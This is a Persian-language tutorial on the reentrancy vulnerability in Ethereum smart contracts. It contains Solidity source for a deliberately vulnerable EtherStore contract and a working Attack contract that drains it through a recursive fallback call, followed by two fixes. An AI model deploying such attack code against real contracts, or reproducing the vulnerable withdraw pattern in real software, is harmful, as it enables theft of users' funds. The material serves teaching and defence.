امنیت قرارداد هوشمند | ری اینترنسی (Reentrancy)

امنیت قرارداد هوشمند | ری اینترنسی (Reentrancy)ری اینترنسی (Reentrancy) چیست؟ در هر قرارداد هوشمندی تابعی تحت عنوان fallback وجود دارد که این تابع به شکل خودکار با ارسال اتر، بی ان بی و ... (msg.value) به هر کانترک توسط EVM (Ethereum Virtual Machine) اجرا می شود. برنامه نویس قرارداد هوشمند میتواند داخل این تابع را به هر شکلی که مایل است پیاده سازی کند. در این آسیب پذیری قرارداد های هوشمند، که به واسطه همین تابع fallback به وجود می آید، قراردادی به نحوی موظف به ارسال مقداری اتر به کانترکتی دیگر می شود و تابع fallback در کانترکتی که اتر را دریافت می کند اجرا می شود.شما کلی آسیب پذیری ری اینترنسی با توجه به شکل بالا بیایید در نظر داشته باشیم که کانترکت سمت راست (گاوصندوق)، کانترکتی است که افراد می توانند در آن اتر های خود را ذخیره کنند و هر زمان که خواستند آن ها را برداشت کنند.بدیهی است که کانترکت جوری نوشته شده است که هر کس توانایی برداشت دارایی از پیش گذاشته شده خود را داشته باشد.(بدون ری اینترنسی) کانترکت سمت چپ (مهاجم)، در ابتدا مقداری اتر در گاوصندوق ذخیره می کند سپس اقدام به برداشت آن می کند و هنگامی که گاوصندوق اتر های مهاجم را برای آن ارسال می کند، تابع fallback در مهاجم توسط EVM به شکل خودکار اجرا می شود و با توجه به اینکه ما در تابع fallback این کانترکت مجددا درخواست برداشت دارایی را ثبت کردیم، بدون اینکه میزان دارایی ما در گاوصندوق بروز بشود، گاوصندوق مجددا برای ما اتر ارسال می کند. https://www.aparat.com/v/NYAT5 مرحله به مرحلهکانترکت B کانترکت مهاجم، که در گذشته مقدار 1 اتر در کانترکت A (گاوصندوق) ذخیره کرده است.1- کال کردن تابع withdraw کانترکت A توسط کانترکت B2-چک کردن موجودی کانترکت B در تابع withdraw کانترکت A3-ارسال اتر بعد از چک کردن موجودی4-اجرا شدن تابع fallback کانترکت B و کال کردن تابع withdraw کانترکت A بعد از دریافت اتر از آن5-اجرا شدن مجدد تابع withdraw کانترکت A پیش از بروز کردن موجودی کانترکت B در داخل A6-ارسال مجدد اتر برای کانترکت Bاین روند آنقدر ادامه پیدا خواهد کرد تا کانترکت A دیگر اتری برای ارسال نداشته باشد.لازم به ذکر است که قرارداد های نشان داده شده ساختگی و برای درک بهتر مطلب است.سورس کد های کامل قرارداد ها// SPDX-License-Identifier: MITpragma solidity ^0.8.10; //Ether Store contract (A) contract EtherStore { mapping(address => uint) public balances; function deposit() public payable { balances[msg.sender] += msg.value; } function withdraw() public { uint bal = balances[msg.sender]; require(bal > 0); (bool sent, ) = msg.sender.call{value: bal}(&quot&quot); require(sent, &quotFailed to send Ether&quot); balances[msg.sender] = 0; } function getBalance() public view returns (uint) { return address(this).balance; } } //Attacker contract (B) contract Attack { EtherStore public etherStore; constructor(address _etherStoreAddress) { etherStore = EtherStore(_etherStoreAddress); } fallback() external payable { if (address(etherStore).balance >= 1 ether) { etherStore.withdraw(); } } function attack() external payable { require(msg.value >= 1 ether); etherStore.deposit{value: 1 ether}(); etherStore.withdraw(); } function getBalance() public view returns (uint) { return address(this).balance; } }روش های جلوگیری از این آسیب پذیریبه روز کردن موجودی فرد متقاضی، پیش از ارسال اتر به او.استفاده کردن از modifier برای تابع withdraw .در سالیدیتی هنگامی که از modifier برای تابعی استفاده می کنیم، EVM پیش از ورود به تابع موارد داخل modifier را برسی می کند و اگر شروط برقرار باشند به تابع ورود و در غیر این صورت تراکنش را revert می کند.سورس کد های جلوگیری از آسیب پذیری ری اینترنسی// SPDX-License-Identifier: MIT pragma solidity ^0.8.10; //////////////////////////////////////////////First Solution////////////////////////////////////////////// contract EtherStore { mapping(address => uint) public balances; function deposit() public payable { balances[msg.sender] += msg.value; } function withdraw() public { uint bal = balances[msg.sender]; require(bal > 0); balances[msg.sender] = 0; (bool sent, ) = msg.sender.call{value: bal}(&quot&quot); require(sent, &quotFailed to send Ether&quot); } function getBalance() public view returns (uint) { return address(this).balance; } } //////////////////////////////////////////////Seccond Solution//////////////////////////////////////////////contract EtherStore { mapping(address => uint) public balances; function deposit() public payable { balances[msg.sender] += msg.value; } bool internal locked; modifier noReentrant() { require(!locked, &quotNo RE-entrancy!&quot); locked = true; _; locked = false; } function withdraw() public noReentrant { uint bal = balances[msg.sender]; require(bal > 0); (bool sent, ) = msg.sender.call{value: bal}(&quot&quot); require(sent, &quotFailed to send Ether&quot); balances[msg.sender] = 0; } function getBalance() public view returns (uint) { return address(this).balance; } }توضیحات تکمیلی را در این ویدیو تماشا کنید https://www.aparat.com/v/6ofuM https://www.aparat.com/v/NYAT5 https://aparat.com/v/6ofuM